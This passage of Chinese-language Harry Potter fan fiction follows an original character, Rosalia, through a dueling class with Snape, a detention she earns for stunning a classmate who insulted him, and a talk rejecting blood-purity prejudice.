片刻后,麦格教授和庞弗雷夫人终于赶来了。
“水晶草粉末——漂亮的急救。”庞弗雷夫人快速检查戴维的情况,用魔杖将他运到担架上,快速地说:“麦格教授,我要先带这位先生去处理伤口。”(1)
“当然。”麦格教授看样子被气得不轻,她严厉地说:“现在,小姐先生们,我想昨天邓布利多校长才强调过要远离打人柳——你们到这里干什么?”
几头小狮子面面相觑,一个字也不敢说。
“他们几个在比谁能碰到那棵树,简单来说,他们在玩游戏呢,麦格教授。”斯内普眯起眼说道。
罗萨利亚看到那几个学生正在斯内普背后露出爱恨交织的表情。
“是吗?玩游戏?”麦格教授气呼呼地说:“如果不是斯内普先生和拉文谢德小姐——斯内普先生,我也想问你和拉文谢德小姐为什么也在这?”
罗萨利亚赶紧道:“我们饭后到湖边散步消食,正巧路过这儿。”她将事情的经过客观完整地说了一遍。
“听到了?”麦格教授冷冷地对那几个学生说道:“你们应该庆幸自己遇上的恰好是斯内普先生和拉文谢德小姐,否则格杰恩先生会丢掉眼睛!甚至可能会没命!”
“我必须要让你们意识到事情的严重性。你们几个,立刻跟我来——拉文谢德小姐,”麦格教授稍微平复语气,“下堂课我会请你展示变形术。”
罗萨利亚点头:“好的教授,我会记得准备。”
很快,戴维·格杰恩差点没掉一只眼睛的事情就传出去了,打人柳附近再次变得空无一人。为保证学生安全,邓布利多还让海格加强了周边的监管与巡逻,这就导致罗萨利亚和斯内普的L&O训练,以及和莉莉的室外黑魔法防御练习不得不暂时停止。
同时,斯内普为了让雷古勒斯避开莉莉,开始拉着对方一起留在斯莱特林餐桌上用餐。莉莉肉眼可见地放松许多,但也时常失落地看着他们。而罗萨利亚也觉得身边空落落的,十分不习惯。
恐怕对此真正喜闻乐见的,只有赫奇帕奇的新任男级长了。
周末结束后,万众瞩目的黑魔法防御课就要来了。
所有二年级的学生都提前接到通知:布瑞兹教授在了解了他们过去一年的学习进度后,决定刻不容缓地把实战教学提上日程:
她将邀请弗立维教授加入首堂课程,为大家演示巫师之间的攻击与防御流程。
“弗立维教授年轻的时候可是决斗冠军呢!”
布瑞兹教授一面整理袖口一面说道。她换上了一身利落的衣服,对面的弗立维教授也是一样,此刻他正红着脸和大家打招呼。
“好了,学生们!你们都按照学院站好队伍了对吧?”布瑞兹高昂的声音在教室里回荡,说:“那么现在开始上课——我相信你们中一定有不少人对巫师决斗有所了解吧?来吧,说出你们知道的,什么都可以,让我听到你们的声音。”
“正式决斗,双方要手持魔杖相隔一段距离站立,向自己的对手致敬,再做起手的准备,等待裁判喊
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开始后再进入攻防。”詹姆率先喊道。
“不能提前施咒,也不能以伤害为目的施展攻击魔咒。”小天狼星懒洋洋地补充。
“决斗的结束往往是以其中一方的武器被缴械作为标志的。”莉莉回答道。
“很好,非常好,十五分加给格兰芬多的三位学生。”布瑞兹向他们投去赞许的目光:“在正式决斗中是这样的。但你不能保证实战对手也会谦和有礼,尤其当你面对一些危险的巫师和危险的黑魔法生物时。还有其他人愿意补充吗?”
“魔杖的状态,如完整性、归属问题等,会直接影响决斗与实战。”罗萨利亚说道:“魔杖本身往往也能反映主人的战斗天赋和风格。”
“……魔杖能反映战斗天赋?”布瑞兹缓缓问。
“是的。比如,黑刺李选择的巫师往往具备战士的特质,山杨和红橡木会选择有决斗天赋的人、乌木的主人擅长释放战斗魔法。因此,通过观察魔杖材质,我们可以判断出它主人的战斗天赋与风格。”罗萨利亚解释道。
“正确!”弗立维教授欣慰地说:“拉文克劳加五分——”
“是理论正确。”布瑞兹教授冷不丁地说。
她扫了一眼罗萨利亚,对台下正在摩挲自己魔杖的学生们说道:“你们没必要灰心,魔杖并不代表一切——我的魔杖就不属于这位小姐刚刚提到的任何一种,”布瑞兹挑起眉毛,“但我带队对抗过巨人、是黑魔法联盟的成员、还受邓布利多邀请出任你们的教授,难道我没有这方面的天赋吗——顺便一问,这位小姐,你的魔杖材质是?”
罗萨利亚皱起眉头:“胡桃木。”
布瑞兹嘴巴一瘪,耸起肩膀说:“祝愿你能在接下来的训练中表现良好。”
人群中传来低低的笑声。
“教授,我——”“好,差不多了。”
布瑞兹教授收回了视线:“现在让我和弗立维教授向大家展示正式决斗的流程。”
罗萨利亚嘴角向下一撇,还想开口说些什么,却忽然感觉肩膀被人轻轻拍打了两下。她回头,一个金黄色头发的拉文克劳女孩安慰似的说:“不要聆听恶婆鸟的歌唱。”(2)
教室正中央,布瑞兹和弗立维手持魔杖,完整全面地向所有人展示了正式决斗的过程。
“最终,我的魔杖在弗立维教授的缴械咒的作用下飞离。正式决斗到此为止就结束了。”布瑞兹从卢平手上捡回了自己的魔杖,向所有人展示。
“但是,”布瑞兹又道,“我说过,在实战中,你们的对手未必会手下留情。所以,在接下来的体验环节,我不要求你们遵守每个决斗流程——嘘,安静——但在上场前,你们需要分别把整个过程中打算使用的攻击型咒语全部告诉我和弗立维教授以获得批准。如果有人使用未经批准的魔咒击伤了同学,那么很抱歉,此人将被扣掉十个学院分,并获得一天的禁闭。”
“那么接下来,让我们进入最令人期待的环节。”布瑞兹教授拍拍手,脸上闪过兴奋的神色:“决斗擂台!我相信你们已经按照我说的做过准备了——”
34. 昏昏倒地
场下的学生们小声欢呼起来。决斗擂台两两学院为一组对决,分别派人出战,赢的一方留在台上,输的一方下台换其他人上场,两组中击败的人更多学院就是优胜者,将分别获得三十个学院分。
“为了公平起见,分组由我和弗立维教授抽签决定。”说者,布瑞兹教授和弗立维教授分别把手伸进了一个箱子里,再拿出来时,他们的手变成了黄色和红色。
“结果很明显了:格兰芬多对战赫奇帕奇,斯莱特林对战拉文克劳,弗立维教授将作为前者的裁判,而我则负责后者。”布瑞兹教授抖掉手上的颜色。
罗萨利亚的眼睛不可避免地望向了对面的斯内普,而斯内普也在看她。
“那么——现在开始吧!”
“谁先上?”布瑞兹教授掐着腰问斯莱特林和拉文克劳学院的学生。
斯莱特林学院的学生首先走上前来。
布瑞兹的目光落到罗萨利亚身上:“拉文克劳没人愿意第一个来吗?”
罗萨利亚掏出了魔杖。
“那么就是你们俩了?”布瑞兹教授道:“现在,把你们要用的魔咒告诉我——女士优先。”
两人分别把计划用到的魔咒告诉了布瑞兹教授,她点点头,都没有给出否定。
“那么,双方各就位——”
两人面对面站好。罗萨利亚举起自己的魔杖。
“开始!”
“除你武器!”
“盔甲护身。”罗萨利亚紧接着道:“速速禁锢——除你武器!”
斯莱特林学生手中的魔杖飞了出去。
战斗结束。
布瑞兹教授显得有些惊讶。她缓缓解开了对面学生身上的魔咒,说:“斯莱特林换下一位。”
下一位也是一样。五六个人下来,斯莱特林平均半分钟就换一次人。最长的也没超过两分钟。
“乌龙出洞!”“变绳子——”
由蛇变成的绳子捆住了对方的两只手。
“——除你武器。”
速度太快了。无论是判断、格挡、念咒还是挥杖的速度,都快得像没有经过思考一样。
布瑞兹教授喊了停:“拉文谢德小姐,请允许我检查你的魔杖。”她朝罗萨利亚伸出手,神色严肃极了。
罗萨利亚把魔杖递给她。布瑞兹挥动她的魔杖:“清水如泉。”
清泉缓缓从杖尖流出。
罗萨利亚挑起眉毛,问:“教授,我的魔杖有问题吗?”
布瑞兹盯着她说:“看起来没问题。”
“它就是没问题。”罗萨利亚接过魔杖,淡淡地说:“您不是也说了吗,‘魔杖不代表一切’——是我本来就很能打,教授。”
布瑞兹的嘴角像角蛙那样抽动了一下,随后回过头,提高了声音:“斯莱特林们,你们听到了吗?这位小姐说,你们太弱了。我希望你们能拿出全部的实力来,而不是过分谦让。”
斯莱特林队伍里传来几句咒骂,而布瑞兹这话显然也让隔壁的格兰芬多和赫奇帕奇听到了,他们对斯莱特林发出了五花八门的“噫”声。
站在擂台上等赫奇帕奇换人的詹姆转头对身后的小天狼星说:“虽然我讨厌撒谎精,但如果她能打赢斯莱特林,我可以一个月不喊她撒谎精。”
小天狼星轻飘飘地说:“那我一个周吧。”
罗萨利亚则瞥了一眼站在队尾的斯内普。
如果对手是他,那才有意思;可如果对手是他,那就没什么意思了。
斯莱特林队伍的人逐渐见底,拉文克劳的队伍还是一点长度都没变化。詹姆打累了,主动下台让小天狼星上场,格兰芬多的队伍依然很长。
很快,罗萨利亚对面就剩下了一个人。
斯内普。
他手持紫杉木魔杖走上台的时候,罗萨利亚感觉自己的胡桃木魔杖正兴奋不已。
“准备——开始!”
罗萨利亚和斯内普两个人举着魔杖,一时间谁都没有动。
“变飞鸟。”
突然,教室墙壁两侧的蜡烛化作飞鸟向斯内普扑去。
“盔甲护身。”斯内普把这些鸟全部震得变回了蜡烛,同时用驱逐咒将蜡烛全部投掷向罗萨利亚并快速地挥杖:“除你武器。”
罗萨利亚抬手用漂浮咒控制蜡烛勉强挡下了对方的缴械咒。就这一套连招,她就知道斯内普对她是一点水也没放。
这精彩的瞬间引得场地外传来几声捧场的口哨。
莉莉喊道:“加油!”
“哦,别了吧。”小天狼星抬手打出全身束缚咒,把巴格曼放倒了,说:“他俩谁赢都挺恶心的——除你武器!太无聊了——这些人怎么连缴械咒都不会用?卢平你下一场要来吗?我想看鼻涕精和撒谎精互殴。”
卢平只好收回目光,一步一回头地走上前替代了小天狼星的位置。
“统统石化。”
“盔甲护身——混淆视听。”
又是连发。罗萨利亚忍着天旋地转的感觉,她知道斯内普接下来要念什么:“盔甲护身!”“除你武器。”
“他们俩念咒怎么细声细语的?”詹姆歪着脑袋对小天狼星说。
小天狼星随口道:“可能他们练的是无声咒的低阶版——小声咒吧。”
“咒立停!”罗萨利亚解除干扰。
“变锁链。”斯内普朝罗萨利亚脚下的蜡烛挥杖,那些蜡烛连在一起变成链条试图捆住她的脚踝。她快速后撤:“变蛇——去!”“除你武器。”
“啪嗒。”罗萨利亚的魔杖飞了出去,砸在了那条蛇的脑袋上。
斯内普轻巧地抬了抬杖尖:“变形还原。”
那条蛇变成了一堆蜡烛散落在地上。
他俯身把罗萨利亚的魔杖捡起来,慢慢走到她面前,把杖炳递过来说道:“罗萨,你每次用变形咒之后都会停顿。你发现了吗?”
罗萨利亚怔住了,她仔细回想后发现确实是这样:这是因为她要在施展变形咒后进一步发出指令。
原来斯内普站在队尾,是为了观察她的破绽。
……好吧,她输得也不算冤枉。
布瑞兹教授舒出一口气:“拉文克劳——终于——下一位。”
而拉文克劳的学生每个人脸上都是一片菜色:所有人都知道,刚才两人的决斗早就超出了自己所学的范畴,这就意味着,他们不可能打得过斯莱特林最后的那个人。
而斯
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莱特林的学生则尖叫欢呼起来了,还朝格兰芬多做了很多鬼脸。
“哼。”罗萨利亚从斯内普手里拿走魔杖下去了。
斯内普几乎是毫不费力地便解决了拉文克劳几乎全部的学生。他挥动缴械咒的魔杖轨迹到最后都变得潦草了。
“除你武器。”
最后一个拉文克劳学生的魔杖也飞了出去。
布瑞兹教授愉快地说:“很高兴斯莱特林展现出了真正的实力,那么我宣布我这一组——”“教授。”
斯内普打断了布瑞兹,轻声说道:“拉文克劳学院比斯莱特林学院少一个人。”
“什么?”布瑞兹教授一时间没明白。
“如果按照击败人数来定学院输赢,”斯内普简单地说,“那么现在是平局。”
坐在台下的罗萨利亚一愣。而两个学院的学生闻言,开始相互清点人数。
“我想和罗萨利亚再比一场。”斯内普说。
“……好吧。”布瑞兹教授看了看时间。隔壁格兰芬多和赫奇帕奇的擂台比赛也将将结束。
“最后一轮,决出胜负。”
罗萨利亚手持魔杖走到斯内普对面。
“准备——开始——”
“除你武器!”“除你武器!”
两个人异口同声。
“啪嗒。”
两根魔杖同时掉落在对方脚下。
整个场地一片寂静。
这么快就……结束了?
显然,愣住的不止罗萨利亚和斯内普。才调整好座位高度坐下来、想要好好观看决斗的弗立维教授见状惊叹道:“梅林的胡子!这是很完美的缴械——没有形成对抗态,也没有出现其中一方被缴械的情况。这得双方非常同步才能做到。”(1)
布瑞兹教授说:“所以,又是平局?”
“没错。”弗立维教授从椅子上站起来,道:“我想这两位学生都应该为学院拿到三十分的奖励,他们都很优秀,布瑞兹教授。”
“……好吧。”布瑞兹不情不愿地拿起哨子吹响,道:“那么我宣布,两个学院达成平局,共同获得三十分。”
莉莉第一个鼓起掌来。紧接跟上的是弗立维教授和拉文克劳的学生。赫奇帕奇蔫蔫地拍打手掌,有的还发出吃痛的“嘶”声,而格兰芬多和斯莱特林的掌声就更加零零碎碎了。
詹姆推了把小天狼星,对着台上正在交换魔杖的斯内普和罗萨利亚做出吐舌呕吐的搞怪表情,说:“西里斯,比两个人中一定赢一个更恶心的情况出现了——两个人都赢了。”
小天狼星被他的模样逗笑了,也做出一样的表情:“总比斯莱特林单独赢的好——詹姆——”
“什么叫两个都赢了?”
忽然,他们前面的一个斯莱特林回头嚷道:“明明就应该算我们斯莱特林赢!要不是那个混血杂种多管闲事——”“轰——”
掌声骤然停了。
詹姆和小天狼星眼睁睁看着刚才还在说话的斯莱特林脑袋朝下砸到了他俩的座位之间,昏迷不醒。
抬头,罗萨利亚正举着魔杖,她的杖尖刚刚熄灭红色光芒。
“哎呀,”她抖了抖手腕,冷漠地说,“手滑了。”
35. 见鬼了
布瑞兹快步走到台下,和弗立维教授一同扶起那个砸在地上的斯莱特林学生。她又惊又怒地扭过头,冲着罗萨利亚尖声喊道:“拉文谢德小姐,你竟然当着两名教授的面无缘无故攻击同学——”
罗萨利亚无辜地说:“我不是故意的。”
“不是故意的?”布瑞兹问:“你的意思是,你是因为不小心才对同学使用了昏昏倒地?”
“是啊。我听到他质疑您设计的比赛规则,本想指着鼻子骂他是个蠢蛋(stupid fool),结果不小心念成昏昏倒地(stupefy)了——”罗萨利亚朝对面努努嘴说:“您看,我力度都没控制好,他都砸到地板里去了——他死了吗?”
“昏迷咒打不死人!”布瑞兹怒道。
“哦。”罗萨利亚有点遗憾地应了声:“看您的模样,我还以为能呢。”
詹姆和小天狼星对视一眼,肩膀抖得就像在跳塔朗泰拉舞。而弗立维教授在一旁拼命给罗萨利亚使眼神,满脸写着不要再继续说了。
“弗立维教授,麻烦您把诺特先生带去校医院。我还得给这位拉文谢德小姐好好上堂课。”布瑞兹气得不轻,她直起身子抽出魔杖,附近的学生被吓得缩起脖子。
布瑞兹说:“拉文谢德小姐,你说你没控制好力道是吗?那就让我来告诉你正确的昏迷咒该是什么样的——”
弗立维教授努力挥手阻拦:“莱莉·布瑞兹教授,这不合规矩!你不能对学生使用——”“昏昏倒地!”
“盔甲护——”“盔甲护身!”“除你武器!”
斯内普被震得向后退了几步。他的魔杖依然挡在罗萨利亚身前。而布瑞兹手中的魔杖则被弗立维打掉了。
“铃铃铃……”下课铃及时地响了。
弗立维教授冲到布瑞兹前面,道:“罗萨利亚!你误伤同学——扣十学院分,然后去关禁闭吧!三天禁闭,从这周五开始!”
这下小天狼星和詹姆都不笑了:“为什么她才三天?”
“安静!布瑞兹,你的魔杖——我恐怕得把这件事告诉邓布利多校长,教授,你的行为非常不妥——其余所有人,下课!离开教室!”弗立维一挥魔杖,教室前后的大门“咣当”敞开,走廊上的嬉笑交谈解放了学生们僵硬的双腿。
到了午餐时间,罗萨利亚便知道自己的禁闭任务是什么了。
布瑞兹要求她从本周五起跟着海格去禁林,捕捉下周课堂要用到的黑魔法生物欣克庞克、格林迪洛和卡巴。
“这些任务简直是在刁难你!如果我们是要学习怎么对付它们,那她为什么还要让学生去抓呢?”赫奇帕奇餐桌上,莉莉犀利地评价道。
说完,她又看起来很担忧:“罗萨,你当时真的是不小心打了诺特吗?”
“我就是故意的。”罗萨利亚耸耸肩表示无所谓,说:“谁让他那么说西弗勒斯,我耳朵还没聋呢。”
莉莉咬着唇,她瞥了一眼斯莱特林餐桌,说道:“我第一次知道,混血原来也会被骂,我以为大部分巫师都是混血,所以不会出现……”
罗萨利亚吃饭动作停顿了,她皱着眉问:“莉莉,有人说过你什么吗?”
“没有!”莉莉立刻摇摇头,她耳朵红了一点:“没人骂我,罗萨,你别担心……我是从西里斯那里了解到的,有些人会……歧视有麻瓜血统或者父母是麻瓜的人。”
“我记得你之前就提到过。你当时就是想说这个是吗?”罗萨利亚说。
“对。”莉莉悄悄地打量罗萨利亚的神情,说:“我当时以为,你们不会对这个话题感兴趣。”
罗萨利亚隐隐有种预感:“……‘我们不会感兴趣’,你是说我和西弗——这不会也是西里斯·布莱克告诉你的吧?”
莉莉的表情看上去像是被说中了。
罗萨利亚放下刀叉,严肃地说:“莉莉,我和西弗是站在你这边的。而且,我们也不会搞什么血统歧视。”
“不!我不是这个意思。”莉莉赶忙说。
“不,你听我说,莉莉。”罗萨利亚把身体转向莉莉,她知道这是个把事情说清楚的机会。她道:“我知道你在顾虑什么。事实上,西弗也遭遇过歧视,而我更不会标榜自己是纯血。”
罗萨利亚认真地说:“尤其,巫师界早就没有真正的纯血了。就算是神圣二十八家族,多往上追几代人也有麻瓜的。”
“而且你都不知道,一些家族‘保持纯洁’的手段,其实就是把与麻瓜组建家庭的人剔除,再推崇近亲结婚——这简直太可笑了。”
“现在所谓的血统论,不过是一种洗脑的手段。被优越感蒙蔽的傻子才会奉为圭臬,变成别有用心之人的满足恶欲和实现野心的棋子。”
“事实上,我认为追求纯血一点用都没有,莉莉。拉文谢德家族——我的家族,因为坚信纯血巫师更强大,不惜拿族人做试验。可结果呢?”罗萨利亚放轻了声音,说道:“我们得到的只有幽灵般的遗传病,这就是报应,莉莉。”
“罗萨……”
罗萨利亚握住莉莉的手,笑了笑,道:“要我说,其实都不用那么麻烦,看你和西弗就知道了,血统论就是一坨狗屎。你们俩聪明、勇敢、勤奋、才华横溢,比那些只知道抱团、歧视贬低别人、吹嘘自己娘胎里带出来的那点东西的懦夫,强一千倍、一万倍呢。”
“嗯……我知道了,我知道了……都是我不好。”莉莉也紧紧握着她,她的声音有些喑哑。
“所以莉莉,请你相信我和西弗,我们不会变成那种人的。我保证。”罗萨利亚看着她,认真地说道:“你在我们的友谊里不需要那样小心翼翼。”
“好、好。”莉莉快速地眨眨眼,用另一只手拿起餐巾在自己眼下蘸了蘸,很快氤出一大片湿润的痕迹,说:“我相信你们——西里斯?是你吗?你端着盘子在这鬼鬼祟祟干什么呢?”
罗萨利亚猛地转过头去,正巧看见小天狼星侧身对着他们,他的脸完全被手上的盘子挡住了。
“我——拿盘子——借着反光整理头发。”小天狼星慢吞吞往前走了几步,他背对着罗萨利亚,一面梳理碎发一面把沾有油渍的盘子缓缓放回赫奇帕奇的餐桌上,说:“那个……詹姆说他这学期打算加入格兰芬多的魁地奇赛队,所以让我来问你一句,要不要去看这个周五的选拔。他会参加。”
莉莉皱着眉头:“不去!”
“好那我走了。”小天狼星快速地说,然后转身就回了格兰芬多餐桌。
“怎么样?”
“见鬼了——”
詹姆问:“她拒绝了?”
小天狼星点点头,拉开椅子坐下,开始咬自己的手指关节。
“然后呢?你又说了什么?”詹姆追问。
小天狼星眼睛直直地看着赫奇帕奇的餐桌末尾:“我能说什么?我说那我走了。”
“喂!”詹姆嚷嚷着摇晃他,道:“西里斯!你去了那么久——你刚才还说死缠烂打也要帮我让莉莉点头的!”
“下次——下次一定!”小天狼星高高地扬起脑袋:“我这次真的见鬼了,詹姆!”
卢平笑着看他们,也回头也望了一眼身后的赫奇帕奇餐桌,随后又不知道是想到什么,嘴角的笑意暗淡了些许。
时间很快就到了周五这天。
魔药课一结束,许多同学就端着坩埚冲出了教室。斯拉格霍恩教授问坐在前排的莉莉:“他们怎么跑这么快?”
“今天傍晚有格兰芬多的魁地奇追球手选拔活动,教授,他们都去围观了。”莉莉答道。
“是吗?那你打算去看吗?”斯拉格霍恩笑眯眯地说。
“我……我还没想好呢。”莉莉说。
“想去的话就快去吧,不用帮我整理草药了,正好你可以和——拉文谢德小姐,你是不是也要去看魁地奇选拔?”斯拉格霍恩歪着脑袋说。
罗萨利亚匆匆的脚步在门口停下了,她书本上摞着的坩埚也随停顿踉跄了一下,被一旁的斯内普伸手扶住了。
“不是,”她呵呵笑了,“我去关禁闭,教授。”
“噢!”斯拉格霍恩遗憾地说:“我想起来了。诺特……”
“好吧,我本想着你可以和莉莉一起,我看你们关系还挺好的——跟紧海格,祝你好运,小姐。”他说。
“好——谢谢!”
斯内普跟在罗萨利亚身后走出教室,他低声说:“对付那三种生物的要点,你都记住了?”
罗萨利亚几乎不需要回忆就将对付欣克庞克、格林迪洛和卡巴的方法脱口而出。
“今天你的任务是抓欣克庞克。”斯内普说:“小心迷雾和沼泽。”
“我知道了。”罗萨利亚半开玩笑地说:“放心吧,斯内普教授,就算遇到危险,海格也绝对能保护好我。”
斯内普拧了一下眉头:“叫我名字。”
罗萨利亚“噢”了一声:“放心吧,西弗勒斯,我先走了——”
说完,她搂紧书本与坩埚,飞快地向楼上跑去了。
“罗萨利亚。”
罗萨利亚刚爬到六楼,就听到了熟悉的声音。她仰起脑袋后退几步,看见了正趴在七楼的栏杆上的卢平:“莱姆斯?你不是要去看魁地奇选拔吗?”
“对,我在等彼得。西里斯和詹姆斯直接
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去了,我们俩打算先放下书包。刚刚彼得突然说想拿点吃的带着,就又回去了。”卢平点头说:“你是不是待会儿要去禁林?”
“没错。怎么了?”罗萨利亚走上楼。
他露出犹豫的表情,说:“如果你在禁林遇到……自己害怕但又不该出现在附近的东西,先不要慌张,试着想一些好玩的东西然后对它用滑稽滑稽——”
罗萨利亚了然:“你是说,它有可能是博格特变的!”
“没错。虽然不一定用得上,但是以防万一。”卢平笑了笑:“不过看来你已经知道了。那么,祝你好运。”
“好。”罗萨利亚愉快地答应了:“谢谢你的提醒——时间有点紧,我得赶紧走了,拜拜。”
卢平冲她挥了挥手:“别客气——罗萨!”
罗萨利亚重新扭过头来。
“你那天那个昏昏倒地用得很好。”卢平用手划出昏迷咒的魔杖轨迹。
罗萨利亚笑了。她得意地“嗯”了声,说:“我知道。”
天边的太阳正在拖着艳丽的尾巴坠落。
罗萨利亚掐着时间赶到了海格小屋,跟她一起来的还有渡鸦穆宁。还没等她靠近小屋,屋内就发出了阵阵犬吠,紧接着就是海格令其安静的轻呵声。
“咚咚。”她敲了敲门。
穆宁趁机飞到了海格小屋的屋顶上。
很快,海格从门缝里露出来了,他手上还戴着烘焙手套。一条白色猎犬正被他挡在门后面。他盯着罗萨利亚,陌生且困惑地问:“你是谁?来这里干什么?”
“我是罗萨利亚·拉文谢德,布瑞兹教授让我来关禁闭。”罗萨利亚把嘀咕钟放进口袋。时间应该刚好。
“关禁闭?所以你就是——”海格敞开门,但却皱起了眉头,他看着她,说:“哦,我还以为——其实你看起来还挺小的,对吧?”他抬手比划了一下。
罗萨利亚不太明白:“我——我想我跟同龄人比不算矮小?”
“不,别误会,我没这个意思。”海格连忙把手收走,解释说:“我是说,你明明看起来更像独角兽,而布瑞兹教授非说你是‘毒’角兽——不不、等一下……”他刚展开的粗粗的眉毛忽然又压低了。
海格低声嘟囔着道:“不行,邓布利多叫我少抱怨她——不提了。你来的有点太早了,这才五点半。”
“但我的禁闭纸条上确实要求我这个时间来,晚点的话会被扣分。”
“什么?我收到的通知是天黑后再出发去禁林。”海格说道:“这么说,你一定没来得及吃饭吧。”
“……对。”罗萨利亚忽然觉得,布瑞兹就是故意要饿她肚子的。欣克庞克本来也不会在这个时间出没,而等她抓到它回去,哪里还有饭让她吃呢?(1)
今天半夜还有天文课……现在罗萨利亚有点恨布瑞兹了。
“既然如此,你先进来吧——别担心尖尖,她不咬人——正好我在做岩皮饼,你待会可以吃点。”海格侧身让出大门,道:“对了,忘了说了,叫我海格吧,大伙都这么叫。”
“你好海格。”哦,它叫尖尖。(2)
“你先坐吧。除了你,今晚还有另一个学生也临时要来关禁闭。”
罗萨利亚围着桌子坐下:“另一个学生?”
“没错。一个一年级的男孩。”海格正在照顾岩皮饼,他百忙中抽出口回应。罗萨利亚看到他的手套冒火了。他甩灭火苗接着说:“他今天上午在飞行课上被罚了一天的禁闭,正好和你凑在一起。他叫——叫——我记得他名字的开头字母和你一样,但发音更不好记,叫什么来着?”
“咚咚。”
又是一阵敲门声,尖尖再次吠叫起来,还冲到了门边。海格忙慌地说:“尖尖,别嚷嚷——他怎么也来这么早?”
罗萨利亚见海格一时间腾不出手,便主动道:“我来开门吧,海格。”
“麻烦你了!”
罗萨利亚走到尖尖身边,嘬嘬两声,学着海格的说法道:“退后,尖尖,我要开门了。”
然而她刚把门一敞开,尖尖就立刻冲了出去。外面紧接着传来“啊”地一声惊恐叫喊。
“尖尖!回来!”海格喊道。
尖尖这才“嗷”地一声,停止了对倒在地上、双臂作抵御状的男孩的嗅闻和吠叫。罗萨利亚看着那扭倒在地、沾满尘土的男孩,迟疑地说:“……雷古勒斯?”
听到呼唤,雷古勒斯先是一愣,眼睛立刻冒起亮光。他从地上慌忙地爬起来,朝着罗萨利亚身后跑去,一面低声喊道:“拉文——罗萨利亚——快跑有狗——”
穆宁在屋顶上“嘎嘎”地笑。
36. 夜行禁林
片刻后,雷古勒斯躲在罗萨利亚身后,以非常僵硬的姿势坐在海格小屋的茶几前。他们前面不远处,尖尖正窝在地上吐着舌头呼哧呼哧呵气。
“罗萨利亚,好久不见,我没想到会,在这里碰见你。”雷古勒斯说话变得一顿一顿的:“我们今天的禁闭,不是要去抓,欣克庞克吗?为什么要,一直跟狗,呆在一起。”
“……因为现在太阳还没落山,欣克庞克一般在晚上出没。”罗萨利亚有点无奈地瞧着雷古勒斯这副模样。看起来比起关禁闭,和狗呆在一起才是对他真正的惩罚。她说:“你为什么来这么早?”
“我还以为,能早去早回。”
“这个……得看我们什么时候能完成任务。你是因为什么被关禁闭的?”说实话,罗萨利亚都没想到雷古勒斯也会被关禁闭。
“因为、因为我今天在飞行课上,用扫帚……误伤了同学。”雷古勒斯的声音越来越小:“他嘲笑我和我堂姐。”
“怎么回事?”罗萨利亚问。
雷古勒斯略微靠近罗萨利亚,不过眼睛没有离开尖尖,他悄声说:“他嘲笑我骑扫帚的姿势……还问我是不是跟堂姐们学的——我一气之下——我是说不小心,就用扫帚把他打飞了……
“……打飞了是什么意思?”顾不上别的,罗萨利亚错愕地问。
“就是……他离开地面了——我的扫帚把他踢到了屋顶上了。”雷古勒斯低下头,盯着自己沾染泥痕的鞋尖:“希望妈妈不会知道这件事。”
“……我觉得没什么不好。如果你感觉被欺负了,就要欺负回去。打不过可以来找我。”罗萨利亚对着他的后脑勺安慰道:“所以别担心了。而且,你才被罚了一天,这也没什么。你哥去年被罚了一个月呢。我也被罚了三天。”
雷古勒斯略微抬头:“你是因为什么被罚的?”
“我对一个说西弗勒斯坏话的人用了昏昏倒地,现在四天过去了,他还在校医院躺着。”
“这么厉害——我、我是说,这么严重?他说了西弗勒斯什么坏话让你这么生气?”
“他说——”罗萨利亚停顿一瞬,语气带上几分厌恶:“他胆敢说西弗勒斯是杂种。”
“什么?”
雷古勒斯还没来得及作出反应,海格就率先大吼一声转过身来。他的脑袋一下撞散了天花板上垂悬下来的火腿。他拨开它们,看起来很生气:“这话真难听,谁那样说的——呃,抱歉,我没想偷听的……但屋子就这么大,是吧……”
罗萨利亚说:“没事,海格。是一个姓诺特的家伙这么说的。”
“诺特(Nott),没听过,而且这名字听上去就‘不怎么好’。”海格哼一声,继续捣鼓烤炉。
雷古勒斯小声说道:“诺特就是出版了《纯血统名录》的那个家族。”(1)
“那是什么东西?”海格扭着屁股背对他们,语气听起来有些困惑:“神奇动物繁育名册吗?”
罗萨利亚差点没能压制自己的嘴角。她瞥向雷古勒斯,对方的耳朵已经红了。
“不是……那个是……”雷古勒斯的声音在干涩和无措中不自觉地高了上去,他宣誓似的说:“总之,我也觉得诺特很无礼!”说完,他又眼巴巴去看罗萨利亚,目光紧张归紧张,却一点也不躲闪,弄得后者反而有些心虚了。
“没错!你们可别学他——好了!”海格无知无觉地转过身来,手里端着腾腾冒热气、油光水滑的大铁盘子,说:“新鲜出炉的岩皮饼,你们要吃吗?”
不管他们愿不愿意,反正尖尖耸动着鼻子,快乐地叫了一声。
天色终于暗淡下来了。
海格已经提前点好油灯,背上了石弓。而罗萨利亚和雷古勒斯也各自背好了用来抓捕欣克庞克的高大玻璃容器。
“来吧,别躲那么远,一会儿你们可要跟紧点。”海格挥舞臂膀说:“虽说是关禁闭,但我可不想你们遇到什么危险。”
雷古勒斯盯着他身旁的尖尖,有些绝望地问:“她也要一起吗?”
“你说尖尖?没错,她能起到很好的警示作用。我听说欣克庞克擅长引诱巫师!”海格道。
于是雷古勒斯就黏在罗萨利亚身上下不来了。
禁林幽暗又寂静,老油灯的光勉强照出前路,枯枝败叶在几人脚下嘎吱嘎吱作响。
尖尖呼哧呼哧地走在最后。穆宁偶尔在林间现身,叫上两声汇报自己的方位。
“抱歉、对不起!”
在雷古勒斯又一次险些将她绊倒后,罗萨利亚终于哭笑不得地问道:“你这么怕狗,是狗给你留下过什么不好的回忆吗?”
雷古勒斯一愣,随后低低地“嗯”了一声:“但那都是我小时候的事了。”
罗萨利亚想了想,说:“你现在不也挺小的吗?”
“我都十一岁了。”雷古勒斯稍稍提高声音。
“哦。”罗萨利亚歪头问:“所以?”
“十一岁不小了——”雷古勒斯的语气变得有些急促:“你十一岁的时候,都是拉文谢德的家主了。”
罗萨利亚脚步一顿,雷古勒斯直接撞到了她身上。
“对不——”“那是因为我家没人了。”
四周一下子变得静悄悄的。雷古勒斯嘴巴张着,小声地将自己没说完的话补上了:“……起。”
罗萨利亚重新抬脚往前走:“不是因为我本人有什么出色的能力。”
“你有的。”雷古勒斯飞快地瞥了她一眼。但是天色已经完全黑下来了,又起了雾,他什么也没看清:“我知道你和西弗勒斯的事……多米达堂姐都跟我说了。”
“……哦。”
“堂姐说,你们的能力和胆识都令她惊讶。”雷古勒斯说。
“谢谢她的夸奖。”
“堂姐可是布莱克家族最出色的巫师之一。”雷古勒斯强调道。
“‘连她都这么说’,是吗?”
“……是。但是还有你们
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在打人柳下救了格杰恩的事——一年级都传开了——这也是证据。”雷古勒斯坚定地说。
“所以呢?”罗萨利亚耐心地引导道。
